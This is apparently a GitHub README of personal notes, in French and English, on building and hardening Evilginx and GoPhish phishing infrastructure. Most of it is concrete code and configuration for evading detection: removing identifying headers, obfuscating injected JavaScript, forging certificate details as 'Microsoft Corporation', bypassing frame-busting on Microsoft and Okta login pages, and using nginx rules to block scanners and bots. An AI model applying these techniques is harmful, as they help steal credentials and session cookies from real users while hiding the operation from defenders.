an0nud4y/evilginx-phishing-infra-setupGuide de configuration de l'infrastructure de phishing Evilginx - Sécurisation de l'infrastructure Evilginx et Gophish, Suppression des IOCs, TTPs de phishing
Note : Ceci est une copie de mes notes personnelles. Veuillez ne pas vous y fier entièrement.
Vérifier les domaines expirés et éventuellement acheter les bons
Catégorisation de domaine
Automatisation de la vérification/soumission de réputation de domaine
Méthode 1 : Utilisation de fournisseurs de services de messagerie
Méthode 2 : Techniques diverses
Technique 1 : Par Andre Rosario - Depuis le Discord BreakDev Red
[email protected] mais en réalité il provient de (Les techniciens peuvent facilement le découvrir cependant)Construire des phishlets Evilginx
Scripts d'installation d'Evilginx
Conseils pour sécuriser l'infra Evilginx -
https://github.com/An0nUD4Y/Evilginx2-Phishlets#securing-evilginx-infra-tips
- Rewrite URLs on Phishing Pages to avoid detection through URL Path pattern matching (by Kuba).
- Remove IOCs (X-Evilginx header and Default Cert Details)
- Modify Unauth redirect static contents
- Modify code to request wildcard certificates for root domain from Let'sEncrypt other than requesting for each subdomains (As mentioned in Kuba's blog) - Check this repo for reference https://github.com/ss23/evilginx2
- Put evilginx behind a proxy to help against TLS fingerprinting (JA3 and JA3S)
- Use cloudflare in between if possible/feasible (You have to configure the SSL Settings correctly, change it to Full in cloudflare settings)
- Use some known ASN blacklist to avoid getting detected like here (https://github.com/aalex954/evilginx2-TTPs#ip-blacklist)
- Reduce the Number of proxyhosts in phishlet if possible to reduce content loading time.
- Host Evilginx at Azure and use their domain (limit proxy host in phishlet to 1 or find a way , may be create multiple azure sub domains and try with that)
- Add some sub_filters to modify the content of the pages to avoid content based detections, like (Favicon, form title font or style, or anything which seems relevant)
- Block the feedback/telemetry/logs/analytics subdomains using the phishlet sub_filters which can log the domain or may help later on analysis.
- See if js-injected is static or dynamic , if static modify the evilginx js-inject code to create dynamic/obfuscated version of your js for each user/target.
- Make sure to not leak your Evilginx infra IP, Check the DNS history to make sure its not stored anywhere (Analysts may look for older DNS Records of the domain)
- Be aware of this research : https://catching-transparent-phish.github.io/catching_transparent_phish.pdf , repo - https://catching-transparent-phish.github.io/
Ces modifications fonctionneront également avec la dernière version d'evilginx + gophish, à savoir evilginx3.3
Astuce : Utilisez le paramètre {{.URL}} dans le modèle de phishing lors de l'utilisation avec evilginx ( https://github.com/kgretzky/evilginx2/issues/1042#issuecomment-2052073864)
Modifications dans le code source de gophish et la structure des fichiers pour sécuriser l'infrastructure GoPhish
Supprimer les instances X-Gophish ( X-Gophish-Contact , X-Gophish-Signature)
Supprimer const ServerName= "gophish" et le remplacer par const ServerName= "IGNORE" dans le fichier config/config.go
Modifier le port par défaut du serveur Admin dans le fichier config.json.
Modifier les signatures des messages de test d'e-mail pour éviter la détection lors des tests SMTP. Controllers > api > util.go
Controllers > api > util.go
models > testdata > email_request.go
models > testdata > email_request_test.go
models > testdata > maillog.go
models > testdata > maillog_test.go
models > testdata > smtp_test.go
Technique 2 : Utilisation de la fonctionnalité Azure External Invite - Depuis le Discord BreakDev Red
Conseils divers pour aider à faire atterrir les e-mails dans la boîte de réception.
Blogs/Talks/Références
Remove X-Evilginx header (Check all the code lines with req.Header.Set and comment relevant functions in core/http_proxy.go file)
// comment line 469
req.Header.Set(p.getHomeDir(), o_host)
//comment line 659
req.Header.Set(p.getHomeDir(), o_host)
// comment function at line 1791-1793
func (p *HttpProxy) getHomeDir() string {
return strings.Replace(HOME_DIR, ".e", "X-E", 1)
}
// comment line 52-54
const (
HOME_DIR = ".evilginx"
)
To Modify Unauth redirect static contents, Search for <html> in core/http_proxy.go file and modify the html code to remove any static signatures.
Also to avoid the static injected js code signature detection , You can modify the code as below
Make sure to add "github.com/tdewolff/minify/js" in imports
re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
var d_inject string
if script != "" {
minifier := minify.New() // "github.com/tdewolff/minify/js"
minifier.AddFunc("text/javascript", js.Minify)
obfuscatedScript, err := minifier.String("text/javascript", script)
if err != nil {
// Handle error - Obfuscation failed
d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + script + "</script>\n${1}"
}
d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + obfuscatedScript + "</script>\n${1}"
//d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + script + "</script>\n${1}"
} else if src_url != "" {
d_inject = "<script" + js_nonce + " type=\"application/javascript\" src=\"" + src_url + "\"></script>\n${1}"
} else {
return body
}
Modify core/cert.db file as well
Change “rid” for gophish.
Use nginx , caddy or other proxies infront of evilginx.
Use Redirectors
<meta http-equiv="refresh" content="5;url=https://example.com">Change default lure url pattern which is random string of length 8.
// Line 728 in core/terminal.go file
l := &Lure{
Path: "/" + GenRandomString(8),
Phishlet: args[1],
}
Rewrite URLs on Phishing Pages to avoid detection through URL Path pattern matching (by Kuba). [This Feature not available in evilginx Public Version, You have to implement it yourself.]
# Only Work in Evilginx Pro Version
# Similar functionality can be implemented in public version as well.
rewrite_urls:
trigger:
domains: ['www.linkedin.com']
paths: ['^/login$']
rewrite:
path: '/this/is/not/the/path/you/are/looking/for.php'
query:
{key:'a', value: 'HOW'}
{key:'b', value: 'MUCH'}
{key:'d', value: 'IS'}
{key:'e', value: 'THE'}
{key:'f', value: 'PHISH'}
{key:'q', value: '{id}'}
Modify the lure/session identifier cookies signatured pattern and value (by @rad9800 )
Block Referrer headers from leaking your phishing domain name - check this research blog for reference :
resp.Header.Set("Referrer-Policy", "no-referrer")Define your own CSP (Content security Policy) to avoid telemetry/canary/detection by leaking phishing domain.
Check if target site is using some sort of canary tokens (CSS, JS) and avoid them
JA4 fingerprint evasion
BITB + evilginx + Frame Busting Bypass
- triggers_on: 'login.microsoftonline.com'
orig_sub: ''
domain: 'okta.com'
search: 'if\(e.self===e.top\){'
replace: 'if(true){window.oldself=e.self;e.self=e.top;'
mimes: ['text/html', 'charset=utf-8']- triggers_on: 'login.microsoftonline.com'
orig_sub: ''
domain: 'okta.com'
search: 'X-Frame-Options: DENY'
replace: 'Test: test'
mimes: ['text/html', 'charset=utf-8']
if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames && parent.frames.length>0)
if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write(’’)
top.location = location
top.location.replace(document.location)
top.location.replace(’URL’)
top.location.href = document.location
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
top.location.href = self.location
top.location = window.location
top.location.replace(window.location.pathname)
window.top.location = window.self.location
setTimeout(function(){document.body.innerHTML=’’;},1);
window.self.onload = function(evt){document.body.innerHTML=’’;}
var url = window.location.href; top.location.replace(url)
Modifier la réponse 404
Ajouter la fonction personnalisée ci-dessous dans le fichier controllers/phish.go
func customNotFound(w http.ResponseWriter, r *http.Request) {
http.Error(w, "Try again!", http.StatusNotFound)
}
Maintenant, remplacez toutes les instances de http.NotFound(w, r) par customNotFound(w, r)
Supprimer la réponse codée en dur de robots.txt et la modifier dans le fichier controllers/phish.go
Modifier le code correspondant dans le fichier phish.go comme ci-dessous.
//Modified Response
// RobotsHandler prevents search engines, etc. from indexing phishing materials
func (ps *PhishingServer) RobotsHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "User-agent: *\nDisallow: /*/*\nDisallow: /.git/*")
}
Modifier le paramètre GET "rid" dans les requêtes
"rid" en quelque chose d'autre.Pour des préventions avancées, vous pouvez également modifier le dossier statique et le renommer, ainsi que renommer les fichiers à l'intérieur pour éviter la détection basée sur le chemin. N'oubliez pas de modifier également le code source correspondant.
Modifier les propriétés du certificat dans le fichier util/util.go
template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
//Organization: []string{"Gophish"},
Organization: []string{"Microsoft Corporation"},
},
Utiliser Nginx pour proxyfier le trafic afin d'éviter toute empreinte du serveur Golang
service nginx start
Vous devez modifier le config.json de gophish pour changer les ports http de 80 à 8080 et https de la valeur par défaut à 60002, comme indiqué ci-dessous
{
"admin_server": {
"listen_url": "127.0.0.1:60002",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key",
"trusted_origins": []
},
"phish_server": {
"listen_url": "127.0.0.1:8080",
"use_tls": false,
"cert_path": "example.crt",
"key_path": "example.key"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
La configuration ci-dessous bloquera toutes les requêtes dont l'agent utilisateur contient « Bot » ou « bot »
# /etc/nginx/nginx.conf
events {
# Define event processing parameters here
worker_connections 1024; # Adjust according to your requirements
}
http {
upstream backend {
server localhost:8080;
}
# HTTP server
server {
listen 80 default_server;
# Reject requests with "bot" or "Bot" in User-Agent
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPS server
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# Reject requests with "bot" or "Bot" in User-Agent
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
Pour autoriser uniquement un agent utilisateur spécifique, utilisez la configuration ci-dessous. Cela bloquera toutes les requêtes et n'autorisera que celles dont l'agent utilisateur est « iamdevil ».
# /etc/nginx/nginx.conf
events {
# Define event processing parameters here
worker_connections 1024; # Adjust according to your requirements
}
http {
upstream backend {
server localhost:8080;
}
# HTTP server
server {
listen 80 default_server;
# Reject requests with user agent other than "iamdevil"
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPS server
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# Reject requests with user agent other than "iamdevil"
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
Modifier la signature du pixel de suivi GoPhish pour éviter la détection basée sur un pixel de suivi signé.
Modifier le modèle de séquence des en-têtes d'e-mail de gophish. Il peut être utilisé pour détecter gophish (d'après la communauté BreakDev Red).
Configurer PostFix devant gophish pour supprimer les IOCs et autres détections et la spammitude des e-mails, et également supprimer et corriger les en-têtes.
Blogs/Talks de recherche GoPhish :
Alternatives à GoPhish :